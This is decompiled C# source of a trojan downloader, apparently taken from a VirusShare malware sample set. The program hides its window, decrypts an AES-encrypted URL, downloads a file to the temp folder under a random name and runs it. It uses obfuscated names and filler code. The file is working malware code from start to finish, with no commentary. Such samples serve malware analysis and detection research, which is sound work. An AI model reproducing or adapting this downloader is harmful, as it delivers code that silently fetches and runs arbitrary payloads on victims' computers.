// Decompiled with JetBrains decompiler
// Type: Downloader_insomnia.Form1
// Assembly: ghUwasnMwNVuZoXpUUIgmPE, Version=9.4.6.1, Culture=neutral, PublicKeyToken=null
// MVID: BE1330B2-6F78-495D-AD9D-00E25615D37A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.Small.ei-e7acee3872f3a81c6c7fa8a4c456724b34ac6e9ccabd10b0a455852ab5d130f5.exe

using Downloader_insomnia.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace Downloader_insomnia
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;
    [AccessedThroughProperty("Link")]
    private Label _Link;
    private string mptsGgdBPQiLBqhhuTFaMIP;
    private string deEqnBhlvNfdKKOqWKEorKh;
    private string[] OBrSEEMEiNMJModYKddBJeA;

    [DebuggerNonUserCode]
    static Form1()
    {
    }

    public Form1()
    {
      this.Load += new EventHandler(this.LNHafIefAbhJCYRBfNcMRDr);
      lock (Form1.__ENCList)
        Form1.__ENCList.Add(new WeakReference((object) this));
      this.mptsGgdBPQiLBqhhuTFaMIP = Conversions.ToString(Operators.ConcatenateObject((object) Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), this.thuCtMJwkcOlEFfgTfEXgYK("ldKCYfEbqWH5iNq4CzeroQ==")));
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.Link = new Label();
      this.SuspendLayout();
      this.Link.AutoSize = true;
      this.Link.Location = new Point(266, 167);
      this.Link.Name = "Link";
      Label link = this.Link;
      Size size1 = new Size(39, 13);
      Size size2 = size1;
      link.Size = size2;
      this.Link.TabIndex = 0;
      this.Link.Text = "Label1";
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      size1 = new Size(4, 0);
      this.ClientSize = size1;
      this.ControlBox = false;
      this.Controls.Add((Control) this.Link);
      this.FormBorderStyle = FormBorderStyle.FixedSingle;
      this.MaximizeBox = false;
      this.MinimizeBox = false;
      this.Name = nameof (Form1);
      this.Opacity = 0.0;
      this.ShowIcon = false;
      this.ShowInTaskbar = false;
      this.Text = nameof (Form1);
      this.WindowState = FormWindowState.Minimized;
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual Label Link
    {
      [DebuggerNonUserCode] get => this._Link;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Link = value;
    }

    private void LNHafIefAbhJCYRBfNcMRDr(object sender, EventArgs e)
    {
      this.Hide();
      klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.uhhDevfUaTuovBkIFokCqXr();
      string tempPath = Path.GetTempPath();
      string address = Conversions.ToString(this.thuCtMJwkcOlEFfgTfEXgYK("W5m0rq3/5PQe7TcU970xMM+lFE1O7A4opA/7QOZ6M98="));
      string str = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) tempPath, this.BDIFkbieufbnjklef(15)), this.thuCtMJwkcOlEFfgTfEXgYK("z7eSE9Zk3Hr/Tgytk1uAxg==")));
      if (File.Exists(str))
        File.Delete(str);
      MyProject.Computer.Network.DownloadFile(address, str);
      Process.Start(str);
      this.Close();
      ProjectData.EndApp();
    }

    public object BDIFkbieufbnjklef(int Length, string AllowedChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")
    {
      checked { --Length; }
      byte[] bytes = new byte[checked (Length + 1)];
      byte[] data = new byte[1];
      RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider();
      int num1 = Length;
      int index = 0;
      while (index <= num1)
      {
        if (false)
          ProjectData.EndApp();
        if (false)
          ProjectData.EndApp();
        if (false)
          ProjectData.EndApp();
        if (false)
          ProjectData.EndApp();
        while (true)
        {
          cryptoServiceProvider.GetBytes(data);
          int num2 = checked (AllowedChars.Length - 1);
          int startIndex = 0;
          while (startIndex <= num2)
          {
            if (Operators.CompareString(Conversions.ToString(Strings.Chr((int) data[0])), AllowedChars.Substring(startIndex, 1), false) != 0)
              checked { ++startIndex; }
            else
              goto label_14;
          }
        }
label_14:
        bytes[index] = data[0];
        checked { ++index; }
      }
      return (object) Encoding.Default.GetString(bytes);
    }

    private object thuCtMJwkcOlEFfgTfEXgYK(string YiSqLnoNMFFOWEhwM)
    {
      RijndaelManaged rijndaelManaged = new RijndaelManaged();
      Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(nameof (thuCtMJwkcOlEFfgTfEXgYK), new byte[8]
      {
        (byte) 1,
        (byte) 2,
        (byte) 3,
        (byte) 4,
        (byte) 5,
        (byte) 6,
        (byte) 7,
        (byte) 8
      });
      rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length);
      rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length);
      MemoryStream memoryStream = new MemoryStream();
      CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
      object obj;
      try
      {
        byte[] buffer = Convert.FromBase64String(YiSqLnoNMFFOWEhwM);
        cryptoStream.Write(buffer, 0, buffer.Length);
        cryptoStream.Close();
        obj = (object) Encoding.UTF8.GetString(memoryStream.ToArray());
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return obj;
    }
  }
}
